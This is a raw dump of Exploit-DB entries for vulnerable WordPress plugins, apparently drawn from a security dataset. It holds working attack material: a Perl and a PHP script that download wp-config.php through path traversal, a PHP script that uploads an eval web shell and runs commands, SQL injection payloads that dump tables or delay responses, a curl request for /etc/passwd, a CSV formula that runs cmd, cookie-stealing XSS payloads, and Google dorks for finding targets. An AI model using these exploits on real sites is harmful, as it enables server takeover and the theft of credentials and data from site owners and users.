deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37494
Description: WordPress Plugin S3Bubble Cloud Video With Adverts & Analytics 0.7 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2015-07-05
Author: CrashBandicot

Exploit:
# Exploit Title: Wordpress S3Bubble Cloud Video With Adverts & Analytics - Arbitrary File Download
# Google Dork: inurl:/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/
# Date: 04/07/2015
# Exploit Author: CrashBandicot @DosPerl
# Vendor Homepage: https://s3bubble.com
# Software Link: https://wordpress.org/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/
# Version: 0.7
# Tested on: MSWin32

#EDB note: updated Software link to correct plugin.

# Vulnerable File : /wp-content/plugins/..../assets/plugins/ultimate/content/downloader.php

<?php 
   header("Content-Type: application/octet-stream");
   header("Content-Disposition: attachment; filename=". $_GET['name']);
   $path = urldecode($_GET['path']);
   if(isset($path))readfile($path);
?>


# PoC : http://127.0.0.1/wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?name=wp-config.php&path=../../../../../../../wp-config.php


# Exploit : 


#!/usr/bin/perl

use LWP::UserAgent;
 
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
 
if(@ARGV < 2)
{
die("\n\n[+] usage : perl $0 site.com /path/");
}

print q{
       Wordpress S3Bubble Cloud Video With Adverts & Analytics - Arbitrary File Download
                           ->CrashBandicot
 
 
};

($Target,$path) = @ARGV;

if($Target !~ /^(http|https):\/\//)
{
$Target = "http://$Target";
}

$xpl = "/wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?path=../../../../../../../wp-config.php";
my $url = $Target.$path.$xpl;
print "\n [?] Exploiting ...... \n\n";
 
$ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
$req = $ua->get($url,":content_file" => "wp-config.php");
 
if ($req->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] File save to name : wp-config.php\n";
}
else
{
die("[!] Exploit Failed !\n");
}

_END_
Exploit-DB #42317
Description: WordPress Plugin Sabai Discuss - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-07-12
Author: Hesam Bazvand

Exploit:
# Exploit Title: Sabai Discuss Wordpress Plugin Stored XSS vulnerability
# Exploit Author: Hesam Bazvand
# Contact: https://www.facebook.com/hesam.king73
# Software demo : https://sabaidiscuss.com/
# Tested on: Windows 7 / Kali Linux
# Category: WebApps
# Dork : User Your Mind ! :D
# Video Demo : https://youtu.be/QETN6cvBMoM
# Email : Black.king066@gmail.com
# Special thanks to Mr alireza ajami
 
1- Create new question 
	http://localhost/wordpress/questions/ask

2- Insert XSS Code in Title Field

3- Enjoy it!
Exploit-DB #35067
Description: WordPress Plugin Safe Search - 'v1' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-08
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/45267/info

The Safe Search plugin for Wordpress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Safe Search 0.7 is vulnerable; other versions may also be affected. 2010-12-08

http://www.example.com/wordpress/wp-content/plugins/wp-safe-search/wp-safe-search-jx.php?v1=%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #42804
Description: WordPress Plugin School Management System - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: School Management System for Wordpress  - SQL Injection
# Dork: N/A
# Date: 26.09.2017
# Vendor Homepage: http://mojoomla.com/
# Software Link: https://codecanyon.net/item/school-management-system-for-wordpress/11470032
# Demo: http://www.mobilewebs.net/mojoomla/extend/wordpress/school/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an student members to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/?dashboard=user&page=message&tab=view_message&from=inbox&id=[SQL]
# 
# -50++UNION(SELECT(1),(2),(3),(4),(5),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(7),(8))--+-
# 
# Etc..
# # # # #
Exploit-DB #19294
Description: WordPress Plugin Schreikasten 0.14.13 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-20
Author: Henry Hoggard

Exploit:
# Title: WordPress Schreikasten 0.14.13 XSS
# Date: 5/6/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# http://wordpress.org/extend/plugins/schreikasten/

Post your XSS in either the name or content fields and the XSS will appear on the homepage.

Post your XSS as the poll title.

The XSS I used is
<script>alert('xss')</script>

#############################################################
Exploit-DB #17793
Description: WordPress Plugin SCORM Cloud 1.0.6.6 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-07
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress SCORM Cloud plugin <= 1.0.6.6 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/scormcloud.1.0.6.6.zip
# Version: 1.0.6.6 (tested)
# Note: magic_quotes has to be turned off

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/scormcloud/ajax.php
 action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

e.g.:
curl --data "action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/scormcloud/ajax.php

---------------
Vulnerable code
---------------
$action = $_POST['action'];

switch($action)
{
    ...
    $inviteId = $_POST['inviteid'];
    $querystr = "SELECT * FROM ".scormcloud_getDBPrefix()."scormcloudinvitations WHERE invite_id = '$inviteId'";
    $invites = $wpdb->get_results($querystr, OBJECT);
Exploit-DB #37274
Description: WordPress Plugin SE HTML5 Album Audio Player 1.1.0 - Directory Traversal
Type: webapps
Platform: php
Date: 2015-06-12
Author: Larry W. Cashdollar

Exploit:
Title: Path Traversal vulnerability in Wordpress plugin se-html5-album-audio-player v1.1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-06
Advisory: http://www.vapid.dhs.org/advisory.php?v=124
Download Site: https://wordpress.org/plugins/se-html5-album-audio-player/
Vendor: https://profiles.wordpress.org/sedevelops/
Vendor Notified: 2015-06-06
Vendor Contact: https://profiles.wordpress.org/sedevelops/
Description: 
An HTML5 Album Audio Player. A plugin to archive, present, and play collections of mp3s (or other html5 audio formats) as albums within your post.

Vulnerability:
The se-html5-album-audio-player v1.1.0  plugin for wordpress has a remote file download vulnerability.  The download_audio.php file does not correctly check the file path, it only attempts to check if the path is in /wp-content/uploads which is easily defeated with ../.

This vulnerability doesn’t require authentication to the Wordpress site.

File ./se-html5-album-audio-player/download_audio.php:

3 $file_name = $_SERVER['DOCUMENT_ROOT'] . $_GET['file'];
4 $is_in_uploads_dir = strpos($file_name, '/wp-content/uploads/');
5 // make sure it's a file before doing anything!
6 if( is_file($file_name) && $is_in_uploads_dir !== false ) {
7 
8         // required for IE
9         if(ini_get('zlib.output_compression')) { ini_set('zlib.output_compression', 'Off');         }
10     
11         // get the file mime type using the file extension
12         switch(strtolower(substr(strrchr($file_name, '.'), 1))) {
13                 case 'pdf': $mime = 'application/pdf'; break;
14                 case 'zip': $mime = 'application/zip'; break;
15                 case 'jpeg':
16                 case 'jpg': $mime = 'image/jpg'; break;
17                 default: $mime = 'application/force-download';
18         }
19         header('Pragma: public');       // required
20         header('Expires: 0');           // no cache
21         header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
22         header('Last-Modified: '.gmdate ('D, d M Y H:i:s', filemtime ($file_name)).' GMT');
23         header('Cache-Control: private',false);
24         header('Content-Type: '.$mime);
25         header('Content-Disposition: attachment; filename="'.basename($file_name).'"');
26         header('Content-Transfer-Encoding: binary');        
27         header('Content-Length: '.filesize($file_name));        // provide file size
28         header('Connection: close');
29         readfile($file_name);           // push it out
30         exit();

The above code does not verify if a user is logged in, and do proper sanity checking if the file is outside of the uploads directory.

CVEID: 2015-4414
OSVDB:
Exploit Code:
  • $ curl http://server/wp-content/plugins/se-html5-album-audio-player/download_audio.php?file=/wp-content/uploads/../../../../../etc/passwd
Exploit-DB #48197
Description: WordPress Plugin Search Meter 2.13.2 - CSV injection
Type: webapps
Platform: php
Date: 2020-03-11
Author: Daniel Monzón

Exploit:
# Exploit Title: Wordpress Plugin Search Meter 2.13.2 - CSV Injection
# Google Dork: N/A
# Date: 2020-03-10
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://thunderguy.com/semicolon/
# Software Link: https://downloads.wordpress.org/plugin/search-meter.2.13.2.zip
# Version: 2.13.2
# Tested on: Windows 7 x86 SP1
# CVE : N/A

There is a CSV injection vulnerability in the Export function of the Search Meter plugin version 

1) First we introduce the payload in the search bar in Wordpress

=cmd|' /C notepad'!'A1'


2) Then we go to http://127.0.0.1/wordpress/wp-admin/index.php?page=search-meter%2Fadmin.php and export the CSV file


3) After that we open the file in Excel, and import data from an external file, using comma as separator


4) Payload gets executed


Tested on Windows 7 Pro SP1 32-bit, Wordpress 5.3.2 and Excel 2016
Exploit-DB #17767
Description: WordPress Plugin SearchAutocomplete 1.0.8 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-01
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress SearchAutocomplete plugin <= 1.0.8 SQL Injection Vulnerability
# Date: 2011-09-01
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/search-autocomplete.zip
# Version: 1.0.8 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/search-autocomplete/includes/tags.php?term=-1' UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4--%20

---------------
Vulnerable code
---------------
if ($_GET['term'] != '') {
...
$titles = $wpdb->get_results("SELECT post_title As name, ID as post_id, guid AS url, 1 cnt FROM ".$wpdb->prefix."posts t WHERE post_status='publish' and (post_type='post' OR post_type='page') and post_date < NOW() and post_title LIKE '%".$_GET['term']."%' ORDER BY post_title");
Exploit-DB #38510
Description: WordPress Plugin Securimage-WP - 'siwp_test.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-05-11
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/59816/info

The Securimage-WP plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Securimage-WP 3.2.4 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/securimage-wp/siwp_test.php/"/><script>alert(document.cookie);</script>?tested=1
Exploit-DB #50723
Description: WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-02-08
Author: Shweta Mahajan

Exploit:
# Exploit Title: WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS)
# Date: 2022-01-26
# Exploit Author: Shweta Mahajan
# Vendor Homepage: https://en-gb.wordpress.org/plugins/titan-labs-security-audit/
# Software Link: https://en-gb.wordpress.org/plugins/titan-labs-security-audit/
# Tested on Windows
# CVE: CVE-2021-24901
# Reference: 
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24901
https://wpscan.com/vulnerability/9c315404-b66a-448c-a3b7-367a37b53435

How to reproduce vulnerability:

1. Install Latest WordPress

2. Install and activate Titan-labs-security-audit Version 1.0.0

3. Navigate to Security Audit settings >> enter the payload into 'Data Id'.

4. Enter JavaScript payload which is mentioned below
    "><img src=x onerror=confirm(1)>

5. You will observe that the payload successfully got stored into the
    database and when you are triggering the same functionality at that
    time JavaScript payload gets executed successfully and we'll get a
    pop-up.
Exploit-DB #50349
Description: WordPress Plugin Select All Categories and Taxonomies 1.3.1 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-09-29
Author: 0xB9

Exploit:
# Exploit Title: WordPress Plugin Select All Categories and Taxonomies 1.3.1 - Reflected Cross-Site Scripting (XSS)
# Date: 2/15/2021
# Author: 0xB9
# Software Link: https://downloads.wordpress.org/plugin/select-all-categories-and-taxonomies-change-checkbox-to-radio-buttons.1.3.1.zip
# Version: 1.3.1
# Tested on: Windows 10
# CVE: CVE-2021-24287

1. Description:
The tab parameter in the Admin Panel is vulnerable to XSS.

2. Proof of Concept:
wp-admin/options-general.php?page=moove-taxonomy-settings&tab="+style=animation-name:rotation+onanimationstart="alert(/XSS/);
Exploit-DB #38868
Description: WordPress Plugin Sell Download 1.0.16 - Local File Disclosure
Type: webapps
Platform: php
Date: 2015-12-04
Author: KedAns-Dz

Exploit:
###########################################
#-----------------------------------------#
#[ 0-DAY Aint DIE | No Priv8 | KedAns-Dz ]#
#-----------------------------------------#
#     *----------------------------*      #
#  K  |....##...##..####...####....|  .   #
#  h  |....#...#........#..#...#...|  A   #
#  a  |....#..#.........#..#....#..|  N   #
#  l  |....###........##...#.....#.|  S   #
#  E  |....#.#..........#..#....#..|  e   #
#  D  |....#..#.........#..#...#...|  u   #
#  .  |....##..##...####...####....|  r   #
#     *----------------------------*      #
#-----------------------------------------#
#[ Copyright (c) 2015 | Dz Offenders Cr3w]#
#-----------------------------------------#
###########################################
# >>    D_x . Made In Algeria . x_Z    << #
###########################################
#
# [>] Title : Wordpress Plugin Sell Download v1.0.16 Local File Disclosure Vulnerability
#
# [>] Author : KedAns-Dz
# [+] E-mail : ked-h (@hotmail.com)
# [+] FaCeb0ok : fb.me/K3d.Dz
# [+] TwiTter : @kedans
#
# [#] Platform : PHP / WebApp
# [+] Cat/Tag : File Disclosure
#
# [<] <3 <3 Greetings t0 Palestine <3 <3
# [!] Vendor : http://wordpress.dwbooster.com/content-tools/sell-downloads
#
###########################################
#
# [!] Description :
#
# Wordpress plugin Sell Download v1.0.16 is suffer from Local File Disclosure Vulnerability
# remote attacker can disclosure some local files.
#
####

<?php
// page : sell-downloads.php
// lines : 119, 130.. 131

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://[target].com/wp-content/plugins/sell-downloads/sell-downloads.php?file=../../../../../../../../.././wp-config.php%00");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
?>

####
#  <! THE END ^_* ! , Good Luck all <3 | 0-DAY Aint DIE ^_^ !>
#  Hassi Messaoud (30500) , 1850 city/hood si' elHaouass .<3
#---------------------------------------------------------------
# Greetings to my Homies : Meztol-Dz , Caddy-Dz , Kalashinkov3 , 
# Chevr0sky , Mennouchi.Islem , KinG Of PiraTeS , TrOoN , T0xic,
# & Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz , Barbaros-DZ , &
# & KnocKout , Angel Injection , The Black Divels , kaMtiEz  , &
# & Evil-Dz , Elite_Trojan , MalikPc , Marvel-Dz , Shinobi-Dz, &
# & Keystr0ke , JF , r0073r , CroSs , Inj3ct0r/Milw0rm 1337day & 
# PacketStormSecurity * Metasploit * OWASP * OSVDB * CVE Mitre ;
####
Exploit-DB #47369
Description: WordPress Plugin Sell Downloads 1.0.86 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-09-09
Author: Mr Winst0n

Exploit:
# Exploit Title: WordPress Plugin Sell Downloads 1.0.86 - Cross Site Scripting
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan@gmail.com
# Discovery Date: September 09,2019
# Vendor Homepage: https://wordpress.dwbooster.com/content-tools/sell-downloads
# Software Link : https://wordpress.org/plugins/sell-downloads/
# Tested Version: 1.0.86
# Tested on: Parrot OS, Wordpress 5.1.1


# PoC:
1- Go to "Products for Sale" section
2- Click on "Add New"
3- In opend window click on "Add Comment"
4- Fill comment as "/><img src=x onerror="alert()"> or "/><input type="text" onclick="alert()">
5- Click on "Publish" (or "Update" if you editing an existing product)
6- You will see a pop-up (also if click on input), Also if you go to product link will see the pop-up.
Exploit-DB #17716
Description: WordPress Plugin SendIt 1.5.9 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-08-25
Author: evilsocket

Exploit:
# Exploit Title: WordPress SendIt plugin <= 1.5.9 Blind SQL Injection Vulnerability
# Google Dork: inurl:"wp-content/plugins/sendit/submit.php"
# Date: 2011-08-25
# Author: evilsocket ( evilsocket [at] gmail [dot] com )
# Software Link: http://wordpress.org/extend/plugins/sendit/
# Version: 1.5.9 (tested with magic quotes OFF)


---------------
Vulnerable code
---------------

[ submit.php line 27 ]

$user_count = $wpdb->get_var("SELECT COUNT(*) FROM $table_email where email ='$_POST[email_add]' and id_lista = '$_POST[lista]';");


As you can see, $_POST[lista] parameter is nor validated neither escaped, so you can blind sql inject it using $user_count for the 
boolean condition checking :


[ submit.php line 29 ]

if($user_count>0) :
  $errore_presente = "<div class=\"error\">".__('email address already present', 'sendit')."</div>";
  die($errore_presente);

---
PoC
---

POST:

email_add = some.random.regexp.valid.email@domain.ltd
lista = BLIND SQL INJECTION HERE

TO:

http://www.site.com/wp-content/plugins/sendit/submit.php
Exploit-DB #34975
Description: WordPress Plugin SEO Tools 3.0 - 'file' Directory Traversal
Type: webapps
Platform: php
Date: 2010-11-08
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/44710/info

The SEO Tools plugin for WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.

SEO Tools 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/seo-automatic-seo-tools/feedcommander/get_download.php?file=../../../../../../../../windows/win.ini
Exploit-DB #38782
Description: WordPress Plugin SEO Watcher - 'ofc_upload_image.php' Arbitrary PHP Code Execution
Type: webapps
Platform: php
Date: 2013-10-03
Author: wantexz

Exploit:
source: https://www.securityfocus.com/bid/62825/info

The SEO Watcher plugin for WordPress is prone to an arbitrary PHP code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary PHP code within the context of the web server. 

<?php

# seo-watcher ~ Exploit 
# http://indonesiancoder.com/


echo <<<EOT


EOT;


$options = getopt('u:f:');

if(!isset($options['u'], $options['f']))
die("\n        Usage example: php IDC.php -u http://target.com/ -f shell.php\n
-u http://target.com/    The full path to Joomla!
-f shell.php             The name of the file to create.\n");

$url     =  $options['u'];
$file    =  $options['f'];


$shell = "{$url}/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/{$file}";
$url   = "{$url}/wp-content/plugins/seo-watcher/ofc/php-ofc-library/ofc_upload_image.php?name={$file}";

$data      = "<?php eval(\$_GET['cmd']); ?>";
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');


echo "        [+] Submitting request to: {$options['u']}\n";


$handle = curl_init();

curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);

$source = curl_exec($handle);
curl_close($handle);


if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r'))
{
echo "        [+] Exploit completed successfully!\n";
echo "        ______________________________________________\n\n        {$shell}?cmd=system('id');\n";
}
else
{
die("        [+] Exploit was unsuccessful.\n");
}

?>